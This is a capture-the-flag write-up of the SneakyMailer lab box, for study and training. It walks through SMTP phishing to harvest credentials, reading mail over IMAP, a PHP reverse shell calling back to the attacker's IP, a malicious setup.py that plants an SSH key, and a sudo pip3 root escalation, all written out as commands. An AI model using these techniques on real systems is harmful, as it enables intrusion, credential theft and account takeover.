---
search:
  exclude: true
---
# SneakyMailer Writeup

![](img/58.png)

## Introduction :

SneakyMailer is a Medium Linux box released back in July 2020. 

## **Part 1 : Initial Enumeration**

As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
    
    
    [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer]
    → nmap -vvv -p- 10.10.10.197 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
    Discovered open port 25/tcp on 10.10.10.197
    Discovered open port 8080/tcp on 10.10.10.197
    Discovered open port 80/tcp on 10.10.10.197
    Discovered open port 143/tcp on 10.10.10.197
    Discovered open port 22/tcp on 10.10.10.197
    Discovered open port 21/tcp on 10.10.10.197
    Discovered open port 993/tcp on 10.10.10.197
    
    [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer]
    → nmap -sCV -p25,8080,80,143,22,212,993 10.10.10.197
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-26 18:26 CEST
    Nmap scan report for 10.10.10.197
    Host is up (0.47s latency).
    
    PORT     STATE  SERVICE  VERSION
    22/tcp   open   ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
    | ssh-hostkey:
    |   2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
    |   256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
    |_  256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
    25/tcp   open   smtp     Postfix smtpd
    |_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,
    80/tcp   open   http     nginx 1.14.2
    |_http-server-header: nginx/1.14.2
    |_http-title: Did not follow redirect to http://sneakycorp.htb
    143/tcp  open   imap     Courier Imapd (released 2018)
    |_imap-capabilities: ACL QUOTA IDLE CAPABILITY ENABLE completed UIDPLUS ACL2=UNION THREAD=REFERENCES NAMESPACE SORT OK STARTTLS UTF8=ACCEPTA0001 THREAD=ORDEREDSUBJECT IMAP4rev1 CHILDREN
    | ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
    | Subject Alternative Name: email:postmaster@example.com
    | Not valid before: 2020-05-14T17:14:21
    |_Not valid after:  2021-05-14T17:14:21
    |_ssl-date: TLS randomness does not represent time
    212/tcp  closed anet
    993/tcp  open   ssl/imap Courier Imapd (released 2018)
    | ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
    | Subject Alternative Name: email:postmaster@example.com
    | Not valid before: 2020-05-14T17:14:21
    |_Not valid after:  2021-05-14T17:14:21
    |_ssl-date: TLS randomness does not represent time
    8080/tcp open   http     nginx 1.14.2
    |_http-open-proxy: Proxy might be redirecting requests
    |_http-server-header: nginx/1.14.2
    |_http-title: Welcome to nginx!
    Service Info: Host:  debian; OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 69.99 seconds
    
    

## **Part 2 : Getting User Access**

Our nmap scan picked up the **sneakycorp.htb** domain name so let's add it to our hosts file:
    
    
    [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer]
    → sudo -i
    [sudo] password for nothing:
    ┌──(root💀nowhere)-[~]
    └─# echo '10.10.10.197 sneakycorp.htb' >> /etc/hosts
    
    ┌──(root💀nowhere)-[~]
    └─# ping -c1 sneakycorp.htb
    PING sneakycorp.htb (10.10.10.197) 56(84) bytes of data.
    64 bytes from sneakycorp.htb (10.10.10.197): icmp_seq=1 ttl=63 time=466 ms
    
    --- sneakycorp.htb ping statistics ---
    1 packets transmitted, 1 received, 0% packet loss, time 0ms
    rtt min/avg/max/mdev = 466.380/466.380/466.380/0.000 ms
    
    ┌──(root💀nowhere)-[~]
    └─# exit
    
    [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer]
    →
    

Now let's inspect it from the web browser: 

![](prg/58_001.png)

There is a hint about the use of **pypi** on the servers, when we take a look at the other php webpage we see that there is a list of potential usernames along with their emails:

![](prg/58_002.png)

We're going to save all the emails locally using curl:
    
    
    [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer]
    → curl sneakycorp.htb/team.php 2>/dev/null | grep sneakymailer.htb | tr -d ' ' | cut -c 5- | rev | cut -c 6- | rev > emails
    
    [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer]
    → cat emails
    tigernixon@sneakymailer.htb
    garrettwinters@sneakymailer.htb
    ashtoncox@sneakymailer.htb
    cedrickelly@sneakymailer.htb
    airisatou@sneakymailer.htb
    briellewilliamson@sneakymailer.htb
    herrodchandler@sneakymailer.htb
    rhonadavidson@sneakymailer.htb
    colleenhurst@sneakymailer.htb
    sonyafrost@sneakymailer.htb
    jenagaines@sneakymailer.htb
    quinnflynn@sneakymailer.htb
    chardemarshall@sneakymailer.htb
    haleykennedy@sneakymailer.htb
    tatyanafitzpatrick@sneakymailer.htb
    michaelsilva@sneakymailer.htb
    
    [...]
    
    

Now let's use gobuster to enumerate other vhosts on the machine: 
    
    
    [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer]
    → gobuster vhost -u http://sneakycorp.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
    
    ===============================================================
    Gobuster v3.1.0
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:          http://sneakycorp.htb
    [+] Method:       GET
    [+] Threads:      10
    [+] Wordlist:     /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
    [+] User Agent:   gobuster/3.1.0
    [+] Timeout:      10s
    ===============================================================
    2021/06/26 18:38:01 Starting gobuster in VHOST enumeration mode
    ===============================================================
    Found: dev.sneakycorp.htb (Status: 200) [Size: 13742]
    
    

We found **dev.sneakycorp.htb** so we add it to our hosts file like we did previously, and then we take a look at the SMTP port 25 using netcat:
    
    
    [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer]
    → nc -nv 10.10.10.197 25
    (UNKNOWN) [10.10.10.197] 25 (smtp) open
    V220 debian ESMTP Postfix (Debian/GNU)
    
    VRFY cedrickelly@sneakymailer.htb
    252 2.0.0 cedrickelly@sneakymailer.htb
    
    VRFY angelicaramos@sneakymailer.htb
    252 2.0.0 angelicaramos@sneakymailer.htb
    
    VRFY nihilist@sneakymailer.htb
    550 5.1.1 <****nihilist@sneakymailer.htb>: Recipient address rejected: User unknown in virtual mailbox table

Basically here we see that the emails we got earlier are all valid **(252 2.0.0)** for this SMTP server. Now you probably guessed it from the box's logo, this is about phishing. We can send a phishing email with a link to our machine using this SMTP service. We do the following:
    
    
    [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer]
    → nc -nv 10.10.10.197 25
    (UNKNOWN) [10.10.10.197] 25 (smtp) open
    
    HELO 10.10.10.197
    220 debian ESMTP Postfix (Debian/GNU)
    250 debian
    
    MAIL FROM: nihilist@sneakymailer.htb
    250 2.1.0 Ok
    
    RCPT TO: ashtoncox@sneakymailer.htb
    250 2.1.5 Ok
    
    RCPT TO: tatyanafitzpatrick@sneakymailer.htb
    250 2.1.5 Ok
    
    [...]
    
    RCPT TO: paulbyrd@sneakymailer.htb
    250 2.1.5 Ok
    
    DATA
    354 End data with CR>LF>.CR>LF>
    go visit my phishing website at http://10.10.14.11:8001
    .
    
    250 2.0.0 Ok: queued as 8C44F24667
    
    

That's how you do it manually. If we wanted we could have also did it automatically using **swaks**
    
    
    swaks --server sneakycorp.htb --body "goto http://10.10.14.11:8001" --to tigernixon@sneakymailer.htb,garrettwinters@sneakymailer.htb,....,sulcud@sneakymailer.htb,donnasnider@sneakymailer.htb
    
    

And as we simply send our phishing email that way, and after a few seconds we end up getting a connection back to us on our fake website which was actually a simple netcat listener: 
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/sneakymailer]
    → nc -lvnp 8001
    listening on [any] 8001 ...
    connect to [10.10.14.11] from (UNKNOWN) [10.10.10.197] 39692
    POST / HTTP/1.1
    Host: 10.10.14.11:8001
    User-Agent: python-requests/2.23.0
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: keep-alive
    Content-Length: 185
    Content-Type: application/x-www-form-urlencoded
    
    firstName=Paul&lastName;=Byrd&email;=paulbyrd%40sneakymailer.htb&password;=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword;=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
    
    

We can url-decode it from burpsuite's repeater by selecting the text and hitting **CTRL+SHIFT+U** and we get the following: 
    
    
    firstName=Paul&lastName;=Byrd&email;=paulbyrd@sneakymailer.htb&password;=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht&rpassword;=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
    
    

So we seem to have gotten credentials: 
    
    
    paulbyrd@sneakymailer.htb : ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
    
    

Let's use them to read paul's emails from the IMAP port: 
    
    
    [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer]
    → nc -nv 10.10.10.197 143
    (UNKNOWN) [10.10.10.197] 143 (imap2) open
    * OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACL2=UNION STARTTLS ENABLE UTF8=ACCEPT] Courier-IMAP ready. Copyright 1998-2018 Double Precision, Inc.  See COPYING for distribution information.
    
    a LOGIN paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
    * OK [ALERT] Filesystem notification initialization error -- contact your mail administrator (check for configuration errors with the FAM/Gamin library)
    a OK LOGIN Ok.
    
    b LIST "" "*"
    * LIST (\Unmarked \HasChildren) "." "INBOX"
    * LIST (\HasNoChildren) "." "INBOX.Trash"
    * LIST (\HasNoChildren) "." "INBOX.Sent"
    * LIST (\HasNoChildren) "." "INBOX.Deleted Items"
    * LIST (\HasNoChildren) "." "INBOX.Sent Items"
    b OK LIST completed
    
    c STATUS "INBOX" MESSAGES
    * STATUS "INBOX" (MESSAGES 0)
    c OK STATUS Completed.
    
    d STATUS "INBOX.Trash" MESSAGES
    * STATUS "INBOX.Trash" (MESSAGES 0)
    d OK STATUS Completed.
    
    e STATUS "INBOX.Sent Items" MESSAGES
    * STATUS "INBOX.Sent Items" (MESSAGES 2)
    e OK STATUS Completed.
    
    f SELECT "INBOX.Sent Items"
    * FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
    * OK [PERMANENTFLAGS (\* \Draft \Answered \Flagged \Deleted \Seen)] Limited
    * 2 EXISTS
    * 0 RECENT
    * OK [UIDVALIDITY 589480766] Ok
    * OK [MYRIGHTS "acdilrsw"] ACL
    f OK [READ-WRITE] Ok
    
    h FETCH 1 BODY[]
    * 1 FETCH (BODY[] {2167}
    MIME-Version: 1.0
    To: root 
    From: Paul Byrd 
    Subject: Password reset
    Date: Fri, 15 May 2020 13:03:37 -0500
    Importance: normal
    X-Priority: 3
    Content-Type: multipart/alternative;
            boundary="_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_"
    
    --_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_
    Content-Transfer-Encoding: quoted-printable
    Content-Type: text/plain; charset="utf-8"
    
    Hello administrator, I want to change this password for the developer accou=
    nt
    
    Username: developer
    Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
    
    Please notify me when you do it=20
    
    --_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_
    Content-Transfer-Encoding: quoted-printable
    Content-Type: text/html; charset="utf-8"
    
    
    @font-face
            {font-family:"Cambria Math";
            panose-1:2 4 5 3 5 4 6 3 2 4;}
    @font-face
            {font-family:Calibri;
            panose-1:2 15 5 2 2 2 4 3 2 4;}
    /* Style Definitions */
    p.MsoNormal, li.MsoNormal, div.MsoNormal
            {margin:0in;
            margin-bottom:.0001pt;
            font-size:11.0pt;
            font-family:"Calibri",sans-serif;}
    .MsoChpDefault
            {mso-style-type:export-only;}
    @page WordSection1
            {size:8.5in 11.0in;
            margin:1.0in 1.0in 1.0in 1.0in;}
    div.WordSection1
            {page:WordSection1;}
    -->
    
    Hello administrator, I want to chang=
    e this password for the developer account
    
    &nbs;=
    p;
    
    Username: developer
    
    Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
    
     
    
    Please notify me when you do i=
    t 
    
    =
    
    --_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_--
    )
    h OK FETCH completed.
    
    i FETCH 2 BODY[]
    * 2 FETCH (BODY[] {585}
    To: low@debian
    From: Paul Byrd 
    Subject: Module testing
    Message-ID: <4d08007d-3f7e-95ee-858a-40c6e04581bb@sneakymailer.htb>
    Date: Wed, 27 May 2020 13:28:58 -0400
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
     Thunderbird/68.8.0
    MIME-Version: 1.0
    Content-Type: text/plain; charset=utf-8; format=flowed
    Content-Transfer-Encoding: 7bit
    Content-Language: en-US
    
    Hello low
    
    
    Your current task is to install, test and then erase every python module you
    find in our PyPI service, let me know if you have any inconvenience.
    
    )
    i OK FETCH completed.
    

So now we have other credentials **developer:m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C**. We use these credentials on the FTP service: 
    
    
    [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer]
    → ftp 10.10.10.197
    Connected to 10.10.10.197.
    220 (vsFTPd 3.0.3)
    Name (10.10.10.197:nothing): **developer**
    331 Please specify the password.
    Password: **m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C**
    230 Login successful.
    Remote system type is UNIX.
    Using binary mode to transfer files.
    ftp> ls
    200 PORT command successful. Consider using PASV.
    150 Here comes the directory listing.
    drwxrwxr-x    8 0        1001         4096 Jun 30  2020 dev
    226 Directory send OK.
    ftp> cd dev
    250 Directory successfully changed.
    ftp> ls -al
    200 PORT command successful. Consider using PASV.
    150 Here comes the directory listing.
    drwxrwxr-x    8 0        1001         4096 Jun 30  2020 .
    drwxr-xr-x    3 0        0            4096 Jun 23  2020 ..
    drwxr-xr-x    2 0        0            4096 May 26  2020 css
    drwxr-xr-x    2 0        0            4096 May 26  2020 img
    -rwxr-xr-x    1 0        0           13742 Jun 23  2020 index.php
    drwxr-xr-x    3 0        0            4096 May 26  2020 js
    drwxr-xr-x    2 0        0            4096 May 26  2020 pypi
    drwxr-xr-x    4 0        0            4096 May 26  2020 scss
    -rwxr-xr-x    1 0        0           26523 May 26  2020 team.php
    drwxr-xr-x    8 0        0            4096 May 26  2020 vendor
    
    

And apparently we get access to the **dev.sneakycorp.htb** subdomain webservice root folder using developer's credentials on FTP. so let's put a reverse php shell there: 
    
    
    [terminal 1]
    [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/sneakymailer]
    → vim rev.php
    
    [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/sneakymailer]
    → cat rev.php
    <****?php
    exec("/bin/bash -c 'bash -i > & /dev/tcp/10.10.14.11/9001 0>&1'");
    ?>
    
    [terminal2]
    ftp> put rev.php
    local: rev.php remote: rev.php
    200 PORT command successful. Consider using PASV.
    150 Ok to send data.
    226 Transfer complete.
    77 bytes sent in 0.00 secs (2.7197 MB/s)
    
    ftp> ls -la
    200 PORT command successful. Consider using PASV.
    150 Here comes the directory listing.
    drwxrwxr-x    8 0        1001         4096 Jun 26 13:43 .
    drwxr-xr-x    3 0        0            4096 Jun 23  2020 ..
    drwxr-xr-x    2 0        0            4096 May 26  2020 css
    drwxr-xr-x    2 0        0            4096 May 26  2020 img
    -rwxr-xr-x    1 0        0           13742 Jun 23  2020 index.php
    drwxr-xr-x    3 0        0            4096 May 26  2020 js
    drwxr-xr-x    2 0        0            4096 May 26  2020 pypi
    --wxrw-rw-    1 1001     1001           77 Jun 26 13:43 rev.php
    drwxr-xr-x    4 0        0            4096 May 26  2020 scss
    -rwxr-xr-x    1 0        0           26523 May 26  2020 team.php
    drwxr-xr-x    8 0        0            4096 May 26  2020 vendor
    226 Directory send OK.
    
    

note: the reverse php shell we upload gets cleaned up very often so we need to upload the shell and immediately browse to it to trigger the reverse shell:
    
    
    [terminal 1]
    ftp> put rev.php
    local: rev.php remote: rev.php
    200 PORT command successful. Consider using PASV.
    150 Ok to send data.
    226 Transfer complete.
    77 bytes sent in 0.00 secs (2.3688 MB/s)
    
    [terminal 2]
    [ 10.10.14.11/23 ] [ /dev/pts/23 ] [~/HTB/sneakymailer]
    → curl http://dev.sneakycorp.htb/rev.php
    
    [terminal 3]
    [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/sneakymailer]
    → nc -lvnp 9001
    listening on [any] 9001 ...
    connect to [10.10.14.11] from (UNKNOWN) [10.10.10.197] 60378
    bash: cannot set terminal process group (651): Inappropriate ioctl for device
    bash: no job control in this shell
    www-data@sneakymailer:~/dev.sneakycorp.htb/dev$
    

And we get a reverse shell as www-data! now let's upgrade the reverse shell to a fully interactive TTY: 
    
    
    www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ which python python3 wget curl
    /usr/bin/python
    /usr/bin/python3
    /usr/bin/wget
    /usr/bin/curl
    www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ python3 -c 'import pty;pty.spawn("/bin/bash")'
    www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ ^Z
    [1]  + 1545495 suspended  nc -lvnp 9001
    
    [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/sneakymailer]
    → stty raw -echo ; fg
    [1]  + 1545495 continued  nc -lvnp 9001
                                           export TERM=screen-256color
    www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ export SHELL=bash
    www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ stty rows 50 columns 200
    www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ reset
    

Now that we have a fully interactive TTY we try to privesc to the developer user: 
    
    
    www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ su - developer
    Password:
    developer@sneakymailer:~$ id
    uid=1001(developer) gid=1001(developer) groups=1001(developer)
    developer@sneakymailer:~$ ls -lash
    total 12K
    4.0K drwxr-xr-x 3 root root      4.0K Jun 23  2020 .
    4.0K drwxr-xr-x 6 root root      4.0K May 14  2020 ..
    4.0K drwxrwxr-x 8 root developer 4.0K Jun 26 13:46 dev
    
    developer@sneakymailer:~$ ls -lash /home/*
    /home/low:
    total 48K
    4.0K drwxr-xr-x 8 low  low  4.0K Jun  8  2020 .
    4.0K drwxr-xr-x 4 root root 4.0K May 14  2020 ..
       0 lrwxrwxrwx 1 root root    9 May 19  2020 .bash_history -> /dev/null
    4.0K -rw-r--r-- 1 low  low   220 May 14  2020 .bash_logout
    4.0K -rw-r--r-- 1 low  low  3.5K May 14  2020 .bashrc
    4.0K drwxr-xr-x 3 low  low  4.0K May 16  2020 .cache
    4.0K drwx------ 3 low  low  4.0K May 14  2020 .gnupg
    4.0K drwxr-xr-x 3 low  low  4.0K May 16  2020 .local
    4.0K dr-x------ 2 low  low  4.0K May 16  2020 .pip
    4.0K -rw-r--r-- 1 low  low   807 May 14  2020 .profile
    4.0K drwxr-xr-x 2 low  low  4.0K Jun  8  2020 .ssh
    4.0K -rwxr-x--- 1 root low    33 Jun 26 12:31 user.txt
    4.0K drwxr-xr-x 6 low  low  4.0K May 16  2020 venv
    ls: cannot open directory '/home/vmail': Permission denied
    
    developer@sneakymailer:~$ cat /home/low/user.txt
    cat: /home/low/user.txt: Permission denied
    
    

We managed to privesc to the developer user, but we don't have enough privileges to get the user flag yet. To continue we need to take a look at the other websites on the machine, we do that by going to the parent directory:
    
    
    developer@sneakymailer:~$ pwd
    /var/www/dev.sneakycorp.htb
    
    developer@sneakymailer:~$ cd ..
    
    developer@sneakymailer:/var/www$ ls -lash
    total 24K
    4.0K drwxr-xr-x  6 root root 4.0K May 14  2020 .
    4.0K drwxr-xr-x 12 root root 4.0K May 14  2020 ..
    4.0K drwxr-xr-x  3 root root 4.0K Jun 23  2020 dev.sneakycorp.htb
    4.0K drwxr-xr-x  2 root root 4.0K May 14  2020 html
    4.0K drwxr-xr-x  4 root root 4.0K May 15  2020 pypi.sneakycorp.htb
    4.0K drwxr-xr-x  8 root root 4.0K Jun 23  2020 sneakycorp.htb
    
    

We already know the websites there except for **pypi.sneakycorp.htb** so let's take a look at it:
    
    
    developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ clear
    developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ ls -lash
    total 20K
    4.0K drwxr-xr-x 4 root root     4.0K May 15  2020 .
    4.0K drwxr-xr-x 6 root root     4.0K May 14  2020 ..
    4.0K -rw-r--r-- 1 root root       43 May 15  2020 .htpasswd
    4.0K drwxrwx--- 2 root pypi-pkg 4.0K Jun 30  2020 packages
    4.0K drwxr-xr-x 6 root pypi     4.0K May 14  2020 venv
    developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ cat .htpasswd
    pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
    
    

So here we get the pypi user's password hash, we crack it locally using john: 
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/23 ] [~/HTB/sneakymailer]
    → john -w=/usr/share/wordlists/rockyou.txt pypi-htpasswd.txt
    Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
    Use the "--format=md5crypt-long" option to force loading these as that type instead
    Using default input encoding: UTF-8
    Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
    Will run 4 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    soufianeelhaoui  ()
    1g 0:00:00:23 DONE (2021-06-26 20:02) 0.04239g/s 151516p/s 151516c/s 151516C/s soul17soul17..souderton16
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed
    
    

And now we got the credentials **pypi:soufianeelhaoui**. We can use them to take a look at **:8080/packages/** and **:8080/simple/** but both pages are basically blank. After a bit of googling we stumble upon [this](https://pypiserver.readthedocs.io/en/latest/README.html#uploading-packages-from-sources-remotely) article which details how to upload a package to the server. to do so we need to create a **.pypirc** file in the home directory of our local machine:
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/16 ] [~/HTB/sneakymailer]
    → vim ~/.pypirc
    
    [ 10.10.14.11/23 ] [ /dev/pts/16 ] [~/HTB/sneakymailer]
    → cat ~/.pypirc
    [distutils]
    index-servers = internal
    
    [internal]
    repository: http://pypi.sneakycorp.htb:8080
    username: pypi
    password: soufianeelhaoui
    
    

We also need to create a **setup.py** file that will be executed so that we can write our public key in **/home/low/.ssh/authorized_keys** over on the box:
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/16 ] [~/HTB/sneakymailer]
    → cat ~/.pypirc
    [distutils]
    index-servers = internal
    
    [internal]
    repository: http://pypi.sneakycorp.htb:8080
    username: pypi
    password: soufianeelhaoui
    
    [ 10.10.14.11/23 ] [ /dev/pts/16 ] [~/HTB/sneakymailer]
    → cat setup.py
    from setuptools import setup, find_packages
    
    try:
            with open('/home/low/.ssh/authorized_keys','a') as f:
                    f.write("ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAfhgjcMFy5mO4fwhQyW6vdX5bgTzqZTh9MhCW7+k6Sj nothing@nowhere")
                    f.close()
    except:
            pass
    
    setup(
            name="HelloWorld",
            version="0.1",
            packages=find_packages(),
    )
    

So we run it and ssh as low on the box: 
    
    
    [terminal 1]
    [ 10.10.14.11/23 ] [ /dev/pts/16 ] [~/HTB/sneakymailer]
    → python3 setup.py sdist upload -r internal
    running sdist
    running egg_info
    writing HelloWorld.egg-info/PKG-INFO
    writing dependency_links to HelloWorld.egg-info/dependency_links.txt
    writing top-level names to HelloWorld.egg-info/top_level.txt
    reading manifest file 'HelloWorld.egg-info/SOURCES.txt'
    writing manifest file 'HelloWorld.egg-info/SOURCES.txt'
    warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md
    
    running check
    warning: check: missing required meta-data: url
    
    warning: check: missing meta-data: either (author and author_email) or (maintainer and maintainer_email) should be supplied
    
    creating HelloWorld-0.1
    creating HelloWorld-0.1/HelloWorld.egg-info
    copying files to HelloWorld-0.1...
    copying setup.py -> HelloWorld-0.1
    copying HelloWorld.egg-info/PKG-INFO -> HelloWorld-0.1/HelloWorld.egg-info
    copying HelloWorld.egg-info/SOURCES.txt -> HelloWorld-0.1/HelloWorld.egg-info
    copying HelloWorld.egg-info/dependency_links.txt -> HelloWorld-0.1/HelloWorld.egg-info
    copying HelloWorld.egg-info/top_level.txt -> HelloWorld-0.1/HelloWorld.egg-info
    Writing HelloWorld-0.1/setup.cfg
    Creating tar archive
    removing 'HelloWorld-0.1' (and everything under it)
    running upload
    Submitting dist/HelloWorld-0.1.tar.gz to http://pypi.sneakycorp.htb:8080
    Server response (200): OK
    
    [terminal 2]
    [ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/sneakymailer]
    → ssh low@sneakycorp.htb -i ~/.ssh/mainpc
    The authenticity of host 'sneakycorp.htb (10.10.10.197)' can't be established.
    ECDSA key fingerprint is SHA256:I1lCFRteozDGkqC/ZSE2SbHl8ISpJWhfu5nwn6LxbA0.
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added 'sneakycorp.htb,10.10.10.197' (ECDSA) to the list of known hosts.
    Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64
    
    The programs included with the Debian GNU/Linux system are free software;
    the exact distribution terms for each program are described in the
    individual files in /usr/share/doc/*/copyright.
    
    Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
    permitted by applicable law.
    No mail.
    Last login: Tue Jun  9 03:02:52 2020 from 192.168.56.105
    low@sneakymailer:~$ id
    uid=1000(low) gid=1000(low) groups=1000(low),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),119(pypi-pkg)
    low@sneakymailer:~$ cat user.txt
    9eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    
    

And that's it! We managed to get the user flag. 

## **Part 3 : Getting Root Access**

Now in order to privesc to the root user we take a look at what the user can run as sudo:
    
    
    low@sneakymailer:~$ sudo -l
    sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
    Matching Defaults entries for low on sneakymailer:
        env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
    
    User low may run the following commands on sneakymailer:
        (root) NOPASSWD: /usr/bin/pip3
    
    

and here we see that pip3 can be ran as root without any password, so we can use this [gtfobin](https://gtfobins.github.io/gtfobins/pip/#sudo): 
    
    
    low@sneakymailer:~$ TF=$(mktemp -d)
    low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty)  2>$(tty)')" > $TF/setup.py
    low@sneakymailer:~$ sudo /usr/bin/pip3 install $TF
    sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
    Processing /tmp/tmp.D7Gn5vYpTY
    # id
    uid=0(root) gid=0(root) groups=0(root)
    # cat /root/root.txt
    d2XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    
    

And that's it! We managed to get to the root user and get the root flag.

## **Conclusion**

Here we can see the progress graph :

![](img/58_graph.png)

